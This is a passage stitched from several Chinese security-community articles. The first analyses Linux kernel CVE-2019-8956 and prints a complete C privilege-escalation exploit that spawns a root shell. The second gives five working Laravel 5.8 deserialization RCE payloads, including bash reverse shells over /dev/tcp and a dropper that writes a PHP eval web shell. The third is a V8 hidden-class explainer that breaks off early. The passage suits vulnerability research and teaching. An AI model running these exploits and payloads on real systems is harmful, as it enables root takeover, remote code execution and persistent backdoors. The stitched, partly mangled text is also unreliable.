err(2, "lseek failed");
system(cmd);
}
printf("contents:%sn",(char *)1);
}
### CVE-2019-8956
看一波补丁，发现漏洞存在于sctp_sendmsg函数内：
static int sctp_sendmsg(struct sock *sk, struct msghdr *msg, size_t msg_len)
{
struct sctp_endpoint *ep = sctp_sk(sk)->ep;
struct sctp_transport *transport = NULL;
struct sctp_sndrcvinfo _sinfo, *sinfo;
struct sctp_association *asoc;
struct sctp_cmsgs cmsgs;
union sctp_addr *daddr;
bool new = false;
__u16 sflags;
int err;
/* Parse and get snd_info */
err = sctp_sendmsg_parse(sk, &cmsgs, &_sinfo, msg, msg_len);
if (err)
goto out;
sinfo = &_sinfo;
sflags = sinfo->sinfo_flags;
/* Get daddr from msg */
daddr = sctp_sendmsg_get_daddr(sk, msg, &cmsgs);
if (IS_ERR(daddr)) {
err = PTR_ERR(daddr);
goto out;
}
lock_sock(sk);
/* SCTP_SENDALL process */
if ((sflags & SCTP_SENDALL) && sctp_style(sk, UDP)) {
list_for_each_entry(asoc, &ep->asocs, asocs) {
err = sctp_sendmsg_check_sflags(asoc, sflags, msg,
msg_len);
if (err == 0)
continue;
if (err < 0)
goto out_unlock;
sctp_sendmsg_update_sinfo(asoc, sinfo, &cmsgs);
err = sctp_sendmsg_to_asoc(asoc, msg, msg_len,
NULL, sinfo);
if (err < 0)
goto out_unlock;
iov_iter_revert(&msg->msg_iter, err);
}
goto out_unlock;
}
................
out_unlock:
release_sock(sk);
out:
return sctp_error(sk, msg->msg_flags, err);
}
可以看到当标志为SCTP_SENDALL时，我们会进入sctp_style(sk, UDP) && !sctp_state(asoc,
ESTABLISHED)的判断，如果我们让sk->type为UDP时，就会调用list_for_each_entry来依次遍历ep->asocs链表。
接下来会调用sctp_sendmsg_check_sflags：
static int sctp_sendmsg_check_sflags(struct sctp_association *asoc,
__u16 sflags, struct msghdr *msg,
size_t msg_len)
{
struct sock *sk = asoc->base.sk;
struct net *net = sock_net(sk);
if (sctp_state(asoc, CLOSED) && sctp_style(sk, TCP))
return -EPIPE;
if ((sflags & SCTP_SENDALL) && sctp_style(sk, UDP) &&
!sctp_state(asoc, ESTABLISHED))
return 0;
if (sflags & SCTP_EOF) {
pr_debug("%s: shutting down association:%pn", __func__, asoc);
sctp_primitive_SHUTDOWN(net, asoc, NULL);
return 0;
}
if (sflags & SCTP_ABORT) {
struct sctp_chunk *chunk;
chunk = sctp_make_abort_user(asoc, msg, msg_len);
if (!chunk)
return -ENOMEM;
pr_debug("%s: aborting association:%pn", __func__, asoc);
sctp_primitive_ABORT(net, asoc, chunk);
return 0;
}
return 1;
}
这里注意：struct sock _sk = asoc- >base.sk，因为asoc是可控的（具体原因会在下面的下一部分介绍。），所以struct
sock _sk就可以任由我们摆布。
接下来设置SCTP_ABORT标志，调用sctp_make_abort_user和sctp_primitive_ABORT。
struct sctp_chunk *sctp_make_abort_user(const struct sctp_association *asoc,
struct msghdr *msg,
size_t paylen)
{
struct sctp_chunk *retval;
void *payload = NULL;
int err;
retval = sctp_make_abort(asoc, NULL,
sizeof(struct sctp_errhdr) + paylen);
if (!retval)
goto err_chunk;
if (paylen) {
/* Put the msg_iov together into payload. */
payload = kmalloc(paylen, GFP_KERNEL);
if (!payload)
goto err_payload;
err = memcpy_from_msg(payload, msg, paylen);
if (err < 0)
goto err_copy;
}
sctp_init_cause(retval, SCTP_ERROR_USER_ABORT, paylen);
sctp_addto_chunk(retval, paylen, payload);
if (paylen)
kfree(payload);
return retval;
err_copy:
kfree(payload);
err_payload:
sctp_chunk_free(retval);
retval = NULL;
err_chunk:
return retval;
}
在这里我们把paylen设置为0，这样就不会进入循环，也就避开了
memcpy_from_msg。（paylen就是通过sendmsg发送的数据的长度）。
接下来是sctp_primitive_ABORT，调试一下可以找到他实际位于net/sctp/primitive.c：
int sctp_primitive_ ## name(struct net *net, struct sctp_association *asoc,
void *arg) {
int error = 0;
enum sctp_event event_type; union sctp_subtype subtype;
enum sctp_state state;
struct sctp_endpoint *ep;
event_type = SCTP_EVENT_T_PRIMITIVE;
subtype = SCTP_ST_PRIMITIVE(SCTP_PRIMITIVE_ ## name);
state = asoc ? asoc->state : SCTP_STATE_CLOSED;
ep = asoc ? asoc->ep : NULL;
error = sctp_do_sm(net, event_type, subtype, state, ep, asoc,
arg, GFP_KERNEL);
return error;
}
可以看到他调用了sctp_do_sm这个状态随机处理函数：
int sctp_do_sm(struct net *net, enum sctp_event event_type,
union sctp_subtype subtype, enum sctp_state state,
struct sctp_endpoint *ep, struct sctp_association *asoc,
void *event_arg, gfp_t gfp)
{
......
state_fn = sctp_sm_lookup_event(net, event_type, state, subtype);
sctp_init_cmd_seq(&commands);
debug_pre_sfn();
status = state_fn->fn(net, ep, asoc, subtype, event_arg, &commands);
debug_post_sfn();
error = sctp_side_effects(event_type, subtype, state,
ep, &asoc, event_arg, status,
&commands, gfp);
debug_post_sfx();
return error;
}
而sctp_do_sm的参数：net、state、ep、asoc都是可以被我们控制的。
这里有个很明显的指针调用：
status = state_fn->fn(net, ep, asoc, subtype, event_arg, &commands);
如果我们可以控制state_fn，就可以实现任意地址调用。
state_fn由sctp_sm_lookup_event函数返回，我们继续跟入：
const struct sctp_sm_table_entry *sctp_sm_lookup_event(
struct net *net,
enum sctp_event event_type,
enum sctp_state state,
union sctp_subtype event_subtype)
{
switch (event_type) {
case SCTP_EVENT_T_CHUNK:
return sctp_chunk_event_lookup(net, event_subtype.chunk, state);
case SCTP_EVENT_T_TIMEOUT:
return DO_LOOKUP(SCTP_EVENT_TIMEOUT_MAX, timeout,
timeout_event_table);
case SCTP_EVENT_T_OTHER:
return DO_LOOKUP(SCTP_EVENT_OTHER_MAX, other,
other_event_table);
case SCTP_EVENT_T_PRIMITIVE:
return DO_LOOKUP(SCTP_EVENT_PRIMITIVE_MAX, primitive,
primitive_event_table);
default:
/* Yikes! We got an illegal event type. */
return &bug;
}
}
在sctp_primitive_ABORT里面就已经设置event为SCTP_EVENT_T_PRIMITIVE，所以接下来会调用DO_LOOKUP函数。
#define DO_LOOKUP(_max, _type, _table)
({
const struct sctp_sm_table_entry *rtn;
if ((event_subtype._type > (_max))) {
pr_warn("table %p possible attack: event %d exceeds max %dn",
_table, event_subtype._type, _max);
rtn = &bug;
} else
rtn = &_table[event_subtype._type][(int)state];
rtn;
})
调试一下：
可以发现ecx是state，所以我们可以控制state_fn。
小结一下调用链：
链里面还有几个函数没有分析，我们放到下面的结合部分分析：
### cve的结合
启明星辰ADLab公开发布的分析文章里关于asoc的分析有一点问题。
这里我们来分析一下如何控制asoc：
void sctp_association_free(struct sctp_association *asoc)
{
struct sock *sk = asoc->base.sk;
struct sctp_transport *transport;
struct list_head *pos, *temp;
int i;
/* Only real associations count against the endpoint, so
* don't bother for if this is a temporary association.
*/
if (!list_empty(&asoc->asocs)) {
list_del(&asoc->asocs);
/* Decrement the backlog value for a TCP-style listening
* socket.
*/
if (sctp_style(sk, TCP) && sctp_sstate(sk, LISTENING))
sk->sk_ack_backlog--;
}
..........
}
sctp_association_free中对asoc进行了list_del操作。
static inline void list_del(struct list_head *entry)
{
__list_del_entry(entry);
entry->next = LIST_POISON1;
entry->prev = LIST_POISON2;
}
LIST_POISON1是0x100。我们看一下汇编代码:
mov eax,[edi+44h]
sub eax,44h
mov edi,eax
cmp [ebp-84h],eax
jz ...
这里在遍历到下一个节点的时候会计算asoc，0x100-0x44=0xbc
CVE-2019-9213可以映射0抵制空间，那么我们就可以在0xbc处伪造结构，从而实现控制asoc，而上面分析的fn可控，可以劫持任意地址，这样就可以进行提权了。
这里调试一下偏移：
struct sock{
char padding1[0x24];
void *net;
char padding2[0x278];
int type;
};
struct sctp_association{
char padding1[0x18];
struct sock *sk;
char padding2[0x190];
int state;
};
接下来是asoc的flags：
enum sctp_sinfo_flags {
SCTP_UNORDERED = (1 << 0), /* Send/receive message unordered. */
SCTP_ADDR_OVER = (1 << 1), /* Override the primary destination. */
SCTP_ABORT = (1 << 2), /* Send an ABORT message to the peer. */
SCTP_SACK_IMMEDIATELY = (1 << 3), /* SACK should be sent without delay. */
/* 2 bits here have been used by SCTP_PR_SCTP_MASK */
SCTP_SENDALL = (1 << 6),
SCTP_PR_SCTP_ALL = (1 << 7),
SCTP_NOTIFICATION = MSG_NOTIFICATION, /* Next message is not user msg but notification. */
SCTP_EOF = MSG_FIN, /* Initiate graceful shutdown process. */
};
设置sinfo_flags = (1 << 6) | (1 << 2);
## 环境配置：
* 1、下载ubuntu 18源码包，安装依赖（make，gcc，bison，flex，libssl-dev， ncurses-dev）
* 编译linux内核（make i386_defconfig
make menuconfig
make）
* 通过qemu起linux内核（qemu-system-i386 -hda rootfs.img -kernel bzImage -append “console=ttyS0 root=/dev/sda rw nokaslr quiet” -m 128M -nographic -s -monitor /dev/null）
编译exp所需环境:
在64位ubuntu 18.04下用gcc –m32编译exp会出错，所以通过debootstrap拉取32位文件系统来编译exp。
1. debootstrap —arch i386 stretch debian_32 <http://ftp.cn.debian.org/debian/>
2. chroot debian_32
3. apt install gcc libsctp-dev
编译exp：
* 首先进入32位文件系统：chroot debian_32
* 将exp.c放入文件系统中。 sudo cp exp.c /home/parallels/debian_32/exp.c
* 编译exp.c： gcc exp.c -lpthread -lsctp -static -o exp
挂载放入exp：
* mkdir rootfs
* sudo mount rootfs.img rootfs
* sudo cp ./exp ./rootfs
* sudo umount rootfs
## exp提权：
#define _GNU_SOURE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/sctp.h>
#include <netinet/in.h>
#include <time.h>
#include <malloc.h>
#include <sys/mman.h>
#include <err.h>
#include <signal.h>
#define SERVER_PORT 6666
#define SCTP_GET_ASSOC_ID_LIST 29
#define SCTP_RESET_ASSOC 120
#define SCTP_ENABLE_RESET_ASSOC_REQ 0x02
#define SCTP_ENABLE_STREAM_RESET 118
struct sock
{
char pad1[0x24];
void *net;
char pad[0x278];
int type;
};
struct sctp_association
{
char pad1[0x18];
struct sock *sk;
char pad2[0x34];
char *ep;
char pad3[0x158];
int state;
};
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1074ee0;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1074b80;
void templine()
{
commit_creds(prepare_kernel_cred(0));
asm( "pushl $0x7b;"
"pushl $0x4000;"
"pushl $0x202;"
"pushl $0x73;"
"pushl $shell;"
"iret;");
}
void shell()
{
printf("rootn");
system("/bin/sh");
exit(0);
}
void mmap_zero()
{
unsigned long addr = (unsigned long)mmap((void *)0x10000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
if (addr != 0x10000)
err(2,"mmap failed");
int fd = open("/proc/self/mem",O_RDWR);
if (fd == -1)
err(2,"open mem failed");
char cmd[0x100] = {0};
sprintf(cmd, "su >&%d < /dev/null", fd);
while (addr)
{
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1)
err(2, "lseek failed");
system(cmd);
}
printf("contents:%sn",(char *)1);
struct sctp_association * sctp_ptr = (struct sctp_association *)0xbc;
sctp_ptr->sk = (struct sock *)0x1000;
sctp_ptr->sk->type = 0x2;
sctp_ptr->state = 0x7cb094c; // offset, &_table[event_subtype._type][(int)state] = 0x3000
sctp_ptr->ep = (char *)0x2000;
*(sctp_ptr->ep + 0x8e) = 1;
unsigned long* ptr4 = (unsigned long*)0x3000;
ptr4[0] = (unsigned long)&templine;
}
void* client_func(void* arg)
{
int socket_fd;
struct sockaddr_in serverAddr;
struct sctp_event_subscribe event_;
int s;
char *buf = "test";
if ((socket_fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP))==-1){
perror("client socket");
pthread_exit(0);
}
bzero(&serverAddr, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
serverAddr.sin_port = htons(SERVER_PORT);
inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);
printf("send data: %sn",buf);
if(sctp_sendmsg(socket_fd,buf,sizeof(buf),(struct sockaddr*)&serverAddr,sizeof(serverAddr),0,0,0,0,0)==-1){
perror("client sctp_sendmsg");
goto client_out_;
}
client_out_:
//close(socket_fd);
pthread_exit(0);
}
void* send_recv(int server_sockfd)
{
int msg_flags;
socklen_t len = sizeof(struct sockaddr_in);
size_t rd_sz;
char readbuf[20]="0";
struct sockaddr_in clientAddr;
rd_sz = sctp_recvmsg(server_sockfd,readbuf,sizeof(readbuf),(struct sockaddr*)&clientAddr, &len, 0, &msg_flags);
if (rd_sz > 0)
printf("recv data: %sn",readbuf);
rd_sz = 0;
if(sctp_sendmsg(server_sockfd,readbuf,rd_sz,(struct sockaddr*)&clientAddr,len,0,0x44,0,0,0)<0){
perror("SENDALL sendmsg");
}
pthread_exit(0);
}
int main(int argc, char** argv)
{
int server_sockfd;
pthread_t thread;
struct sockaddr_in serverAddr;
if ((server_sockfd = socket(AF_INET,SOCK_SEQPACKET,IPPROTO_SCTP))==-1){
perror("socket");
return 0;
}
bzero(&serverAddr, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
serverAddr.sin_port = htons(SERVER_PORT);
inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);
if(bind(server_sockfd, (struct sockaddr*)&serverAddr,sizeof(serverAddr)) == -1){
perror("bind");
goto out_;
}
listen(server_sockfd,5);
if(pthread_create(&thread,NULL,client_func,NULL)){
perror("pthread_create");
goto out_;
}
mmap_zero();
send_recv(server_sockfd);
out_:
close(server_sockfd);
return 0;
}
注意：其中sctp_ptr->state的偏移需要自己计算(环境不同)：
运行截图： | 社区文章 |
# Laravel 5.8 RCE POP链汇总分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
自从phar反序列化的出现，php反序列化的攻击面扩展了不少，框架POP链的挖掘自然得到了重视。这几天整理了 Laravel5.8
能用的POP链，不少前面版本的POP链也还是能用的，在大师傅们的payload基础上修改整理，主要是分析一下提高自己的POP链构造能力。
测试使用的 Laravel 是通过 composer 默认方法 `composer create-project --prefer-dist
laravel/laravel blog "5.8.*"`安装的，如果用到了未默认带的组件会在文中说明。
创建一个控制器
class IndexController extends Controller
{
public function index(IlluminateHttpRequest $request){
$payload=$request->input("payload");
@unserialize($payload);
}
}
添加路由
Route::get('/', "IndexController@index");
## POP链1
入口类：`IlluminateBroadcastingpendiongBroadcast`
最后RCE调用类：`FakerGenerator`
从`IlluminateBroadcasting`
PendingBroadcast类的`__destruct`入手，其中event和events都是完全可控的。
然后全局搜索dispatch函数，没有找到合适的函数。全局搜索`__call` 在`Faker`中找到Generator类的`__call`
跟进，它会调用format函数，其中format会调用call_user_func_array。且第一个参数，由下面的getFormatter返回，我们可以指定`$this->formatters`为数组`array('dispatch'=>'system')`，getFormatter就会返回’system’。
### RCE
可以看到，控制了call_user_func_array两个参数，而第二个参数是原来的`$this->event`经过`__call`之后变成了`array($this->event)`，这意味着call_user_func_array第二个参数只能是个单元素的array。当然，这还是能执行system的，因为system必要只一个参数。
下面就是payload:
<?php
namespace Faker{
class Generator
{
protected $formatters = array();
public function __construct($formatters)
{
$this->formatters = $formatters;
}
}
}
namespace IlluminateBroadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$b = new FakerGenerator(array('dispatch'=>'system'));
$a = new IlluminateBroadcastingPendingBroadcast($b, "bash -c 'bash -i >& /dev/tcp/127.0.0.1/10012 0>&1'");
echo urlencode(serialize($a));
}
### 写个SHELL吧
如果靶机禁用了像system这种的危险函数，我们需要使用双参数的函数例如file_put_contents写shell，或者希望执行任意函数，那么上面的payload就没办法了。
解决这个问题师傅们有很多种方案，我自己想了个还算简洁的方法，可以统一解决这个问题。
目前，`call_user_func_array`
第一个参数是完全可控的，这意味着我们可以调用任意类对象的任意方法，那么我们找一个有危险函数的类，并且参数可控就好啦。
搜索寻找`PhpOption/LazyOption`
类中的option函数的call_user_func_array函数中间两个参数都是完全可控的，非常完美的函数。
option函数不接受参数输入，但是LazyOption类其他的函数都是下面这样的，会直接调用option函数。完美！
最后payload：
<?php
namespace Faker{
class Generator
{
protected $formatters = array();
public function __construct($formatters)
{
$this->formatters = $formatters;
}
}
}
namespace IlluminateBroadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
private $option;
public function __construct($callback, $arguments, $option)
{
$this->callback = $callback;
$this->arguments = $arguments;
$this->option = $option;
}
}
}
namespace{
$c = new PhpOptionLazyOption('file_put_contents', array('/var/www/html/shell.php', '<?php eval($_REQUEST["jrxnm"]);?>'), null);
$b = new FakerGenerator(array('dispatch'=> array($c, "filter")));
$a = new IlluminateBroadcastingPendingBroadcast($b, 1);
echo urlencode(serialize($a));
}
## POP链2
入口类：`IlluminateBroadcastingpendiongBroadcast`
最后RCE调用类：`IlluminateBusDispatcher`
还是从`IlluminateBroadcasting`
PendingBroadcast类的`__destruct`入手，其中event和events都是完全可控的。
然后全局搜索dispatch函数，在`IlluminateBusDispatcher`中找到dispatch函数
当`$this->queueResolver`有值且`$command`是ShouldQueue类的实例
跟进dispatchToQueue函数
赫然一个call_user_func在眼前，第一个参数完全可控。这时，我们又和上面的情况一样了，可以调用任意类对象的任意方法，使用上面同样的LazyOption类，就可以执行任意函数了。
payload：
<?php
namespace IlluminateBus{
class Dispatcher{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace IlluminateEvents{
class CallQueuedListener{
protected $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace IlluminateBroadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
private $option;
public function __construct($callback, $arguments, $option)
{
$this->callback = $callback;
$this->arguments = $arguments;
$this->option = $option;
}
}
}
namespace{
$c = new PhpOptionLazyOption('system', array('id'), null);
$d = new IlluminateEventsCallQueuedListener('id');
$b = new IlluminateBusDispatcher(array($c, 'filter'));
$a = new IlluminateBroadcastingPendingBroadcast($b, $d);
echo urlencode(serialize($a));
}
## POP链3
入口类：`IlluminateBroadcastingpendiongBroadcast`
最后RCE调用类：`IlluminateValidationValidator`
这个是在[phpgcc](https://github.com/ambionics/phpggc/)中看见的，虽然标注的可用版本是5.5.39，但经测试直到最新版本5.8.*还是可以用的。接下来继续分析一下。
任然是以`IlluminateBroadcastingpendiongBroadcast`类为入口
此时，继续找`__call`函数。在`IlluminateValidationValidator`类的`__call`函数
先进入`$this->callExtension`函数看看
可以看到调用call_user_func_array了，其中第一个参数和第二个参数都是可控的，只要前面正常执行下来就可以了。回看`__call`函数
我们必须确定`$rule`值为多少，才能进入`$this->callExtension`并且后面还牵扯到了call_user_func_array的第一个参数。我们知道在这里我们的`$method`为‘dispatch’，调试代码，发现`$rule`值总为`''`。
### RCE
那么就好办了，call_user_func_array两个参数都可控了，可以执行任意函数
<?php
namespace IlluminateBroadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace IlluminateValidation{
class Validator{
protected $extensions;
public function __construct($extensions)
{
$this->extensions = $extensions;
}
}
}
namespace{
$b = new IlluminateValidationValidator(array(''=>'system'));
$a = new IlluminateBroadcastingPendingBroadcast($b, 'id');
echo urlencode(serialize($a));
}
### 写个shell
这里和POP链1的毛病是一样的，这个POP链只能执行只有一个参数的函数，如果向写shell使用file_put_contents等多参数函数就没辙了，解决方法是一样的，下面是payload
<?php
namespace IlluminateBroadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace IlluminateValidation{
class Validator{
protected $extensions;
public function __construct($extensions)
{
$this->extensions = $extensions;
}
}
}
namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
private $option;
public function __construct($callback, $arguments, $option)
{
$this->callback = $callback;
$this->arguments = $arguments;
$this->option = $option;
}
}
}
namespace{
$c = new PhpOptionLazyOption('file_put_contents', array('/var/www/html/shell.php', '<?php eval($_REQUEST["jrxnm"]);?>'), null);
$b = new IlluminateValidationValidator(array(''=>array($c, 'filter')));
$a = new IlluminateBroadcastingPendingBroadcast($b, '');
echo urlencode(serialize($a));
}
## POP链4
入口类：`SymfonyComponentCacheAdapterTagAwareAdapter`
最后RCE调用类：`SymfonyComponentCacheAdapterProxyAdapter`
必要组件Symfony，laravel5.7都是默认安装方法自带的。
首先找`__destruct` ，位于`SymfonyComponentCacheAdapterTagAwareAdapter`
依次向下进入invalidateTags函数。
经过一番简单的操作进入saveDeferred函数，本类的该函数没有啥危害，搜索找到ProxyAdapter类的saveDeferred函数
跟进，可以看到下面有个动态函数调用，`$this->setInnerItem`可控，函数的输入`$item`即为上面类的输入也可控，system函数正好可以有两个参数。
其中的 `$item`
本来输入是CacheItemInterface的对象，但是在里面强制转换成了array，也就有了类似`"*expiry"`的键值，其实就是该类的protected属性。
那么这么一顺，POP链差不多就出来了，细节看payload就可以了。
namespace SymfonyComponentCacheAdapter{
class TagAwareAdapter{
private $deferred;
private $pool;
function __construct($deferred, $pool){
$this->deferred = $deferred;
$this->pool = $pool;
}
}
class ProxyAdapter{
private $setInnerItem;
private $poolHash;
function __construct($setInnerItem, $poolHash){
$this->setInnerItem = $setInnerItem;
$this->poolHash = $poolHash;
}
}
}
namespace SymfonyComponentCache{
final class CacheItem{
protected $expiry;
protected $poolHash;
protected $innerItem;
function __construct($expiry, $poolHash, $innerItem){
$this->expiry = $expiry;
$this->poolHash = $poolHash;
$this->innerItem = $innerItem;
}
}
}
namespace{
$b = new SymfonyComponentCacheAdapterProxyAdapter('system', 1);
$d = new SymfonyComponentCacheCacheItem(1, 1, "bash -c 'bash -i >& /dev/tcp/127.0.0.1/9898 0>&1'");
$a = new SymfonyComponentCacheAdapterTagAwareAdapter(array($d),$b);
echo urlencode(serialize($a));
}
## POP链5
入口类：`IlluminateFoundationTestingPendingCommand`
这个POP链来自于CVE-2019-9081，虽然当时针对于laravel5.7，同样的payload5.8同样是能用的。这个POP链是最复杂的，本人水平有限，如果分析的不清楚可以去看看[作者本人](https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/)的博客。
现在我们来分析一下这个POP链，首先找到`IlluminateFoundationTestingPendingCommand`类的`__destruct`
跟进run函数，在这个函数的注释中上面赫然写着`Execute the command`
哪里可以执行命令呢，根据这个代码结构，确定应该是在try…catch中的`$this->app[Kernel::class]->call($this->command,
$this->parameters);`执行命令。
`$this->app`是什么呢，在注释中看到它是`IlluminateContractsFoundationApplication`的实例
好，先不管它是怎么执行命令的，我们先让代码顺利执行到这的话，必须要顺利走过`$this->mockConsoleOutput();`
跟进
这部分代码我并没有很好的理解，但是问题不大，只要顺利通过就行。要顺利通过，首先下面这些类属性需要适当的值.
`$this-app`上面我们已经分析过了，`$this->parameters`是待会要执行命令的参数，先随便填一个，问题在于`$this->test->expectedOutput`，事实上未找到任何实现了的类中拥有expectedOutput属性的。不过我们还可以使用`__get`魔法函数，在`IlluminateAuthGenericUser`中的`__get`
函数就很好
解决了这几个类属性问题，再去看mockConsoleOutput中还有一个要进入的函数createABufferedOutputMock
跟进，进入函数，`$this->test->expectedOutput`用上面同样的方法解决。后面顺利就能走完这些函数。
回到run函数，接下来就是不好理解的地方了。
`$exitCode = $this->app[Kernel::class]->call($this->command,
$this->parameters);`
上面我们分析过了`$this->app`是`IlluminateContractsFoundationApplication`的实例，`Kernel::class`的值固定为`IlluminateContractsConsoleKernel`
`$this->app[Kernel::class]`依我的理解，相当于在构建`Kernel::class`类的实例，但是在构建过程中，被作者改变了并执行了call方法。我们跟着payload继续进入。make函数可以直接进入。
进入直到这里，这个函数返回一个`$object`，然后就马上执行后面的call函数，我们能确定在这里实例类对象
最后返回的是`$object`，它从`$concrete`得来，进入getConcrete函数
前面if语句跳过，`$abstract`是`IlluminateContractsConsoleKernel`，控制`$this->bindings`我们可以返回任意类。在这里POP链作者决定继续返回`IlluminateContractsFoundationApplication`
类（后面就是使用此类父类的call函数执行代码的）
继续往下走，到了实例化类的时候了，进入下面的make，循环一遍，进入build成功实例化类对象。
进入`IlluminateContractsFoundationApplication`父类call函数
继续跟进，跳过上面的if，着重观察下面匿名函数中call_user_func_array的两个参数，一个`$callback`可控，跟进static::getMethodDependencies函数
getMethodDependencies函数返回`$dependencies`和`$parameters`的合并结果，当`$callback`为system时，`$dependencies`为空。
那么此时，POP链已经完全构造好了。
payload：
<?php
namespace IlluminateFoundationTesting{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace IlluminateAuth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace IlluminateFoundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new IlluminateAuthGenericUser(array("expectedOutput"=>array(),"expectedQuestions"=>array()));
$application = new IlluminateFoundationApplication(array("IlluminateContractsConsoleKernel"=>array("concrete"=>"IlluminateFoundationApplication")));
$pendingcommand = new IlluminateFoundationTestingPendingCommand("system",array('id'),$genericuser,$application);
echo urlencode(serialize($pendingcommand));
}
?>
## 总结
可以看到，这些POP链有很多是基于`IlluminateBroadcastingpendiongBroadcast`入口的，当然这也意味着如果有更多的入口，这后面的RCE也是可以继续使用的。
上面构造POP链用了很多tricks，比如调用不存在的方法去找`__call`，参数不存在去找`__get`（可以考虑IlluminateAuthGenericUser的`__get`），可以任意执行某个类实例的某个方法时可以考虑`PhpOption/LazyOption`类。这些gadget遇到类似问题时拿来都是可以直接用的，通篇分析下来，感觉自己对laravel框架也更熟了一些。
最后pop链都整合在这<https://github.com/SZFsir/laravel_POP_RCE> ，有兴趣的可以一起复现一下。
## 参考
<https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/>
<https://xz.aliyun.com/t/5911>
<http://m4p1e.com/web/20181224.html>
<https://github.com/ambionics/phpggc>
<https://xz.aliyun.com/t/5483>
<https://xz.aliyun.com/t/2901> | 社区文章 |
# 《Chrome V8原理讲解》第十四篇 看V8如何表示JS的动态类型
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 摘要
JavaScript是动态类型语言，数据类型具有不确定性。V8是用C++编写的，C++是强类型语言，要求类型确定。类型确定的C++是如何表达类型不确定的JS呢？解决方法是：操作JS数据前先查询类型，再操作。这又产生了新问题——性能损耗，因为类型查询是极为耗时的操作，频繁使用严重影响程序运行速度。为此，V8采用了Map机制，也称为隐藏类（Hidden
Class）。 **注意：**
Map机制与JS中的`map()`没有关系，只是同名。Map机制可以很好地表达JS的不确定性，但它的主要作用是降低性能损耗。本文通过形象化的比喻和深入的源码分析，使大家从宏观和微观角度全面认识Map机制，本文组织结构：Map原理，它如何表达Javascript的动态类型（章节2）；V8初始化阶段对Map的处理过程（章节3）。
## 2 Map原理
由于Javascript类型的不确定性，V8操作Javascript对象（例如：调用方法、访问对对象成员）前要先查询其类型。因此，V8引入了Map机制，它是一种用于描述类型的数据结构，可以形象地把它叫作“地图”，它的使用特点是固定的位置存储指定的内容，如图1所示。
借助图1，我们对Map机制进行概要描述：
**（1）** JS开发者角度，仅能看到存储空间，这段存储空间保存了开发者定义的JS对象，但V8不知道对象类型；
**（2）** 指针，它是存储空间的第一个位置，类型是指针，大小8byte（64位系统中），由V8维护，开发者看不到，所以叫隐藏类。它的作用是指向Map；
**（3）**
V8角度，查询存储空间的第一个位置，就可以找到Map。这个Map大小是80byte，存储信息的格式与位置也是固定的，存储信息包括：JS对象的存储空间有哪些成员，成员类型，成员偏移地址等。所以说，Map就是地图。
V8通过查询Map，可以知道存储空间内存放了什么，怎么存放的，进而正确操作JS对象。一句话总结：V8利用类型确定的Map类（c++实现的class对象）管理JS的动态对象。其实，在V8角度看，Map类型是确定的，所以整体数据类型就是确定的。最重要是Map提高了效率，因为它代替了耗时的JS对象类型检索操作。
下面来看Map的布局：
1. Map layout:
2. // +---------------+---------------------------------------------+
3. // | _ Type _ | _ Description _ |
4. // +---------------+---------------------------------------------+
5. // | TaggedPointer | map - Always a pointer to the MetaMap root |
6. // +---------------+---------------------------------------------+
7. // | Int | The first int field |
8. // `---+----------+---------------------------------------------+
9. // | Byte | [instance_size] |
10. // +----------+---------------------------------------------+
11. // | Byte | If Map for a primitive type: |
12. // | | native context index for constructor fn |
13. // | | If Map for an Object type: |
14. // | | inobject properties start offset in words |
15. // +----------+---------------------------------------------+
16. // | Byte | [used_or_unused_instance_size_in_words] |
17. // | | For JSObject in fast mode this byte encodes |
18. // | | the size of the object that includes only |
19. // | | the used property fields or the slack size |
20. // | | in properties backing store. |
21. // +----------+---------------------------------------------+
22. // | Byte | [visitor_id] |
23. // +----+----------+---------------------------------------------+
24. // | Int | The second int field |
25. // `---+----------+---------------------------------------------+
26. // | Short | [instance_type] |
27. // +----------+---------------------------------------------+
